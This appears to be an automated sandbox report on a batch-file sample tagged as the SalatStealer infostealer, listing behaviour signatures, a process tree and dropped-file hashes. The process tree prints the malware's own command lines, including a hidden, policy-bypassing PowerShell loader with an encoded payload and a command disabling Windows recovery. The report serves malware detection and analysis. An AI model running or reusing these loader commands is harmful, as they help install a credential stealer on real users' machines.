Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 04:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ff72dsdc53
  • SHA256 5cbb7a9f100b90424ff81312f88b2c0df9114b662d98053e2873d001c68231fa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 17 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a file named after a Windows system binary 1 TTPs 1 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 23 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5880
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:332
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ozzaujat\ozzaujat.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5208
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF08.tmp" "c:\Users\Admin\AppData\Local\Temp\ozzaujat\CSC4707DC82278147AA809D61D836AF928B.TMP"
              6⤵
                PID:448
            • C:\Users\Admin\AppData\Local\Temp\p_1d4f423f-6411-4348-9d9c-23907a82b095.exe
              "C:\Users\Admin\AppData\Local\Temp\p_1d4f423f-6411-4348-9d9c-23907a82b095.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5940
              • C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\fontdrvhost.exe
                C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\fontdrvhost.exe
                6⤵
                • Executes a file named after a Windows system binary
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4580
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2656
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4524
                • C:\Program Files\Google\Chrome\Application\fontdrvhost.exe
                  "C:\Program Files\Google\Chrome\Application\fontdrvhost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:3784
                • C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5832
    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
      1⤵
        PID:5028
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4660
        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
          1⤵
            PID:5480

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 52122b3c62bda701f5346efeb8749d73718bf28e1662332d6480a8c85fc6e39e
                • MD5 SHA1 SHA512 TLSH

                RESAF08.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESAF08.tmp
                • Size 1KB
                • SHA256 b30f5df274b35c8027ec818cc2d8af7edb118fa1688092bdc51f3bbbaaf2dbec
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_2uioaden.l31.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uioaden.l31.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 23KB
                • SHA256 a6ac248ea124979697dbda596ca6aeccf3ea2b9d5841f236987b26ffdd49d757
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ozzaujat.dll

                • Path C:\Users\Admin\AppData\Local\Temp\ozzaujat\ozzaujat.dll
                • Size 5KB
                • SHA256 257dcceac1f828557afbba8f2687cafd09b303685de460c367c2cffc69c2830c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_1d4f423f-6411-4348-9d9c-23907a82b095.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_1d4f423f-6411-4348-9d9c-23907a82b095.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC4707DC82278147AA809D61D836AF928B.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ozzaujat\CSC4707DC82278147AA809D61D836AF928B.TMP
                • Size 652B
                • SHA256 65fdef28bfcd3028ad7e6a5504d192f280e8b5afd10022f1bd75fb4c7411c510
                • MD5 SHA1 SHA512 TLSH

                ozzaujat.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ozzaujat\ozzaujat.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                ozzaujat.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\ozzaujat\ozzaujat.cmdline
                • Size 369B
                • SHA256 962a7937cbfacd8acea841470f4f2d7c02807b8e0e013f832c8a64a54ff94e1a
                • MD5 SHA1 SHA512 TLSH

                memory/332-836-0x000001EB63E40000-0x000001EB63E48000-memory.dmp

                memory/332-814-0x000001EB63E50000-0x000001EB63E60000-memory.dmp

                memory/2656-879-0x0000000005A20000-0x0000000005A3E000-memory.dmp

                memory/2656-891-0x0000000007420000-0x0000000007A9A000-memory.dmp

                memory/2656-918-0x0000000008050000-0x00000000085F4000-memory.dmp

                memory/2656-917-0x0000000007290000-0x00000000072B2000-memory.dmp

                memory/2656-911-0x0000000007190000-0x0000000007198000-memory.dmp

                memory/2656-910-0x0000000007260000-0x000000000727A000-memory.dmp

                memory/2656-909-0x0000000007160000-0x0000000007174000-memory.dmp

                memory/2656-908-0x0000000007150000-0x000000000715E000-memory.dmp

                memory/2656-907-0x0000000007120000-0x0000000007131000-memory.dmp

                memory/2656-906-0x00000000071C0000-0x0000000007256000-memory.dmp

                memory/2656-905-0x00000000070F0000-0x00000000070FA000-memory.dmp

                memory/2656-864-0x0000000004440000-0x0000000004476000-memory.dmp

                memory/2656-904-0x0000000006FF0000-0x0000000007093000-memory.dmp

                memory/2656-866-0x0000000004AD0000-0x00000000050F8000-memory.dmp

                memory/2656-867-0x0000000004A20000-0x0000000004A42000-memory.dmp

                memory/2656-868-0x0000000005100000-0x0000000005166000-memory.dmp

                memory/2656-874-0x0000000005270000-0x00000000052D6000-memory.dmp

                memory/2656-877-0x00000000053C0000-0x0000000005714000-memory.dmp

                memory/2656-903-0x0000000006FD0000-0x0000000006FEE000-memory.dmp

                memory/2656-895-0x0000000070C90000-0x0000000070FE4000-memory.dmp

                memory/2656-880-0x0000000005A70000-0x0000000005ABC000-memory.dmp

                memory/2656-894-0x0000000070480000-0x00000000704CC000-memory.dmp

                memory/2656-893-0x0000000006F90000-0x0000000006FC2000-memory.dmp

                memory/2656-889-0x0000000005FD0000-0x0000000006014000-memory.dmp

                memory/2656-892-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

                memory/2656-890-0x0000000006B20000-0x0000000006B96000-memory.dmp

                memory/3784-878-0x0000000000FC0000-0x0000000001C15000-memory.dmp

                memory/3784-865-0x0000000000FC0000-0x0000000001C15000-memory.dmp

                memory/4580-923-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-857-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-929-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-928-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-888-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-859-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-858-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-927-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-926-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-925-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-924-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-922-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/4580-921-0x00000000009F0000-0x0000000001645000-memory.dmp

                memory/5832-885-0x0000000000E90000-0x0000000001AE5000-memory.dmp

                memory/5832-887-0x0000000000E90000-0x0000000001AE5000-memory.dmp

                memory/5880-1-0x000001B67F1E0000-0x000001B67F1F0000-memory.dmp

                memory/5880-7-0x000001B67F020000-0x000001B67F042000-memory.dmp

                memory/5880-0-0x000001B67F1E0000-0x000001B67F1F0000-memory.dmp

                memory/5940-856-0x0000000000E10000-0x0000000001A65000-memory.dmp

                memory/5940-849-0x0000000000E10000-0x0000000001A65000-memory.dmp

                memory/5940-850-0x0000000000E10000-0x0000000001A65000-memory.dmp

                memory/5940-848-0x0000000000E10000-0x0000000001A65000-memory.dmp

                memory/5940-846-0x0000000000E10000-0x0000000001A65000-memory.dmp